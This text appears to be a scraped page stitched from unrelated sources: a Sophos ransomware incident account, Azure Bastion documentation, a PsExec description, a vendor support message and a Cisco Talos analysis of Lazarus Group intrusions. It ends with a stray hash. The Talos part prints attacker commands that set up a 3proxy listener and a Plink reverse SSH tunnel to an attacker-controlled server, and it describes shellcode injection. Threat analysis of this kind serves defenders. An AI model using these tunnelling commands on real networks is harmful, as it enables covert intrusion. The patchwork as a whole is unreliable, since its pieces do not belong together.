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For instance, the logs recorded that the attackers installed various commercial remote-access tools on accessible servers and desktops. They appeared to prefer the IT management tool ScreenConnect, but later switched to AnyDesk in an attempt to evade our countermeasures. We also found download logs of various RDP scanning, exploit, and brute-force password tools, and records of successful uses of those tools, so Windows remote desktop was on the menu, too.

In addition to various custom scripts and configuration files used by hacking tools the attackers installed, we found a wide variety of other malicious software, from password brute-forcers, to cryptominers, to pirated versions of commercial VPN client software. There was also evidence the attackers used freeware tools like PsExec, FileZilla, Process Explorer, or GMER to execute commands, move data from one machine to another, and kill or subvert the processes that impeded their efforts.

In some cases, following the search results for these tools led the attackers into a variety of shady download sites. The advertising networks whose banner ads appear on these sites appear to have generated popup ads that delivered a potentially unwanted app download as the attackers clumsily pulled together a selection of attack tools, further muddying the picture and leaving the server infected with adware, and the browser history cluttered with redirects.

Some of the evidence shows the attacker either inadvertently clicked one of these fake-download-button ads, or suffered from popup or popunder advertisements that pushed unwanted downloads at the attacker, who then installed the adware, perhaps thinking it was the real pirated copy of a hack tool they thought they were downloading. These unintentional self-infections created additional noise in the logs.

The attacker also spotted the Sophos endpoint installation and tried (unsuccessfully) to remove those as well, using a variety of tools like GMER and IOBit Uninstaller. Via yet another compromised account, the attacker(s) installed an assortment of popular brute-force and proxy tools including NLBrute.

A partial list of maliciously used tools discovered on the compromised system includes the following. It should be noted that not all of these are inherently malicious tools, nor are they all surprising to find on healthy, uninfected machine.

On the first day of the sixth month of the attack, the attacker made their big move, running Advanced IP Scanner and almost immediately beginning lateral movement to multiple sensitive servers. Sophos protections knocked down several new attempts at malicious file installation, but compromised credentials allowed the attacker to outflank those protections.

The ransomware binaries deployed in this attack are detected using CryptoGuard. Not all of the various dual-purpose attack tools used in the attack are routinely detected, as many of these utilities have a legitimate IT administrative purpose.

Azure Bastion offers support for file transfer between your target VM and local computer using Bastion and a native RDP or native SSH client. To learn more about native client support, refer to Connect to a VM using the native client. While it may be possible to use third-party clients and tools to upload or download files, this article focuses on working with supported native clients.

The steps in this section apply when connecting to a target VM from a Windows local computer using the native Windows client and RDP. The az network bastion rdp command uses the native client MSTSC. Once connected to the target VM, you can upload and download files using right-click, then Copy and Paste. To learn more about this command and how to connect, see Connect to a VM using a native client.

Utilities like Telnet and remote control programs like Symantec's PCAnywhere let you execute programs on remote systems, but they can be apain to set up and require that you install client software on theremote systems that you wish to access. PsExec is a light-weighttelnet-replacement that lets you execute processes on other systems,complete with full interactivity for console applications, withouthaving to manually install client software. PsExec's most powerful usesinclude launching interactive command-prompts on remote systems andremote-enabling tools like IpConfig that otherwise do not have theability to show information about remote systems.

Note: some anti-virus scanners report that one or more of the tools areinfected with a \"remote admin\" virus. None of the PsTools containviruses, but they have been used by viruses, which is why they triggervirus notifications.

Could you please send your order ID or registered email address and problem details to [email protected], and then we will send you new download link. If you need new download link urgently, you can go to the upgrade page of the program, and then use the order ID or registered email address to get one.

Kindly reminder: if you are using Windows Edge, after hitting the download button, please check the download task list. The download will be pending until you select Run, Save or Save To.

Cisco Talos assesses with high confidence these attacks have been conducted by the North Korean state-sponsored threat actor Lazarus Group. During our investigations, we identified three distinct RATs being employed by the threat actors, including VSingle and YamaBot, which are exclusively developed and distributed by Lazarus. The Japanese CERT (JPCERT/CC) recently published reports (VSingle,YamaBot), describing them in detail and attributed the campaigns to the Lazarus threat actor.The TTPs used in these attacks also point to the Lazarus threat actor. The initial vector was the exploitation of the Log4j vulnerability on exposed VMware Horizon servers. Successful post-exploitation led to the download of their toolkit from web servers. The same initial vector, URL patterns and similar subsequent hands-on-keyboard activity have been described in this report from AhnLab from earlier this year. There are also overlapping IOCs between the campaign described by AhnLab and the current campaign, such as the IP address84[.]38.133[.]145, which was used as a hosting platform for the actors' malicious tools. Although the same tactics have been applied in both attacks, the resulting malware implants deployed have been distinct from one another, indicating the wide variety of implants available at the disposal of Lazarus. Additionally, we've also observed similarities in TTPs disclosed by Kaspersky attributed to the Andariel sub-group under the Lazarus umbrella, with the critical difference being the deployment of distinct malware. While Kaspersky discovered the use of Dtrack and Maui, we've observed the use of VSingle, YamaBot and MagicRAT.Cisco Talos acknowledges that when analyzed individually, the attribution evidence only reaches medium-confidence, however, we're raising our confidence level when analyzing all these points in the context of the campaign and victims.

Cisco Talos has observed several attacks targeting multiple victims. In this section, we detail two specific attack instances that we assess have been the most representative of the playbooks employed by Lazarus in this campaign:

Once the AV on the system has been bypassed using the reverse shell, the attackers then deploy the actual malware implant from a malware family known to be developed and operated by Lazarus called \"VSingle.\"The deployment consists of downloading a copy of the legitimate WinRAR utility from a remote location controlled by the attackers along with an additional payload (archive) [T1608]:

The archive downloaded to the infected endpoint is decompressed and consists of the VSingle malware executable which is optionally renamed and then persisted on the endpoint by creating an auto-start service.

These could be used if the RAT is detected/removed or even provide the actors with an RDP access, avoiding the use of a malicious tool.With VSingle in place, the attackers can access other systems with the help of two additional tools.

These two tools working together create a proxy on the victim system which has its listening port \"exported\" to a port on a remote host. This mechanism allows the attacker to have a local proxy port that gives access to the victim network as if the attacker's box was on it directly.First, the attackers start the osc.exe (3proxy) to listen on a loopback port (in this example, we chose 8118), with the command below.C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\microsoft\\osc.exe -i127.0.0.1 -p8118 This alone wouldn't help the attackers, they actually need to have port 8118, exposed on their own network that they can connect to. So, they created an SSH tunnel using Plink, but they forwarded a local port to a remote address, in this case, a remote server controlled by the attackers:C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming\\microsoft\\pvhost.exe -N -R 18118:127.0.0.1:8118 -P [Port] -l [username] -pw [password] The option -R forwards the port8118 on127.0.0.1to the remote server on port18118.

The VSingle loader executable is an MFC-based backdoor that consists of multiple layers. The first is responsible for decoding and executing the next layer (layer 2), a shellcode in the memory of the implant process. The shellcode is simply an injector for the next layer (layer 3, also shellcode). The implant spawns a new \"explorer.exe\" process and injects shellcode (layer 3) into it for execution.The layer 3 shellcode is injected into a newly spawned benign process, such as explorer.exe, which consists of decoding another layer (layer 4) of shellcode that is then executed in the benign process.Layer 4 is the actual VSingle implant DLL loaded reflectively into the memory of the benign process. 59ce067264

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